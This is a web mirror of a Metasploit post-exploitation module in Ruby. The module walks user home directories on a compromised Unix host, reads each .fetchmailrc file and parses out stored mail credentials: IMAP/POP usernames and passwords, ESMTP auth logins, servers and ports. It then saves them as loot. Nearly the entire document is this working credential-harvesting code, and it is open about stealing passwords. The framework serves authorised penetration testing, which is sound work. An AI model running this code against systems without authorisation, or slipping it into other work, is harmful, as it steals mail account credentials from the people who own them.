CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/fetchmailrc_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather .fetchmailrc Credentials',
15
'Description' => %q{
16
Post Module to obtain credentials saved for IMAP, POP and other mail
17
retrieval protocols in fetchmail's .fetchmailrc
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
21
'Platform' => %w[bsd linux osx unix],
22
'SessionTypes' => [ 'shell' ]
23
)
24
)
25
end
26
27
def run
28
# A table to store the found credentials.
29
cred_table = Rex::Text::Table.new(
30
'Header' => '.fetchmailrc credentials',
31
'Indent' => 1,
32
'Columns' =>
33
[
34
'Username',
35
'Password',
36
'Server',
37
'Protocol',
38
'Port'
39
]
40
)
41
42
# walk through each user directory
43
enum_user_directories.each do |user_dir|
44
fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')
45
unless readable? fetchmailrc_file
46
vprint_error("Couldn't read #{fetchmailrc_file}")
47
next
48
end
49
print_status("Reading: #{fetchmailrc_file}")
50
# read their .fetchmailrc if it exists
51
lines = read_file(fetchmailrc_file).each_line.to_a
52
next if (lines.size <= 0)
53
54
print_status("Parsing #{fetchmailrc_file}")
55
56
# delete any comments
57
lines.delete_if { |l| l =~ /^#/ }
58
# trim any leading/trailing whitespace
59
lines.map(&:strip!)
60
# turn any multi-line config options into a single line to ease parsing
61
(lines.size - 1).downto(0) do |i|
62
# if the line we are reading doesn't signify a new configuration section...
63
next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))
64
65
# append the current line to the previous
66
lines[i - 1] << ' '
67
lines[i - 1] << lines[i]
68
# and axe the current line
69
lines.delete_at(i)
70
end
71
72
# any default options found, used as defaults for poll or skip lines
73
# that are missing options and want to use defaults
74
defaults = {}
75
76
# now parse each line found
77
lines.each do |line|
78
# if there is a 'default' line, save any of these options as
79
# they should be used when subsequent poll/skip lines are missing them.
80
if (line =~ /^defaults/)
81
defaults = parse_fetchmailrc_line(line).first
82
next
83
end
84
85
# now merge the currently parsed line with whatever defaults may have
86
# been found, then save if there is enough to save
87
parse_fetchmailrc_line(line).each do |cred|
88
cred = defaults.merge(cred)
89
if (cred[:host] && cred[:protocol])
90
if (cred[:users].size == cred[:passwords].size)
91
cred[:users].each_index do |i|
92
cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
93
end
94
else
95
print_error("Skipping '#{line}' -- number of users and passwords not equal")
96
end
97
end
98
end
99
end
100
end
101
102
if cred_table.rows.empty?
103
print_status('No creds collected')
104
else
105
print_line("\n" + cred_table.to_s)
106
107
# store all found credentials
108
p = store_loot(
109
'fetchmailrc.creds',
110
'text/csv',
111
session,
112
cred_table.to_csv,
113
'fetchmailrc_credentials.txt',
114
'.fetchmailrc credentials'
115
)
116
117
print_status("Credentials stored in: #{p}")
118
end
119
end
120
121
# Parse a line +line+, assumed to be from a fetchmail configuration file,
122
# returning an array of all credentials found on that line
123
def parse_fetchmailrc_line(line)
124
creds = []
125
cred = {}
126
# parse and clean any users
127
users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
128
unless users.empty?
129
cred[:users] = []
130
users.each do |user|
131
cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
132
end
133
end
134
# parse and clean any passwords
135
passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
136
unless passwords.empty?
137
cred[:passwords] = []
138
passwords.each do |password|
139
cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
140
end
141
end
142
# parse any hosts, ports and protocols
143
cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)
144
cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)
145
cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)
146
# a 'via' option overrides poll/skip
147
cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)
148
# save this credential
149
creds << cred
150
# fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
151
# connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials
152
# are specified, steal those too.
153
cred = {}
154
cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)
155
cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)
156
# XXX: what is the best way to get the host we are currently looting? localhost is lame.
157
cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
158
cred[:protocol] = 'esmtp'
159
# save the ESMTP credentials if we've found enough
160
creds << cred if (cred[:users] && cred[:passwords] && cred[:host])
161
# return all found credentials
162
creds
163
end
164
end
165
166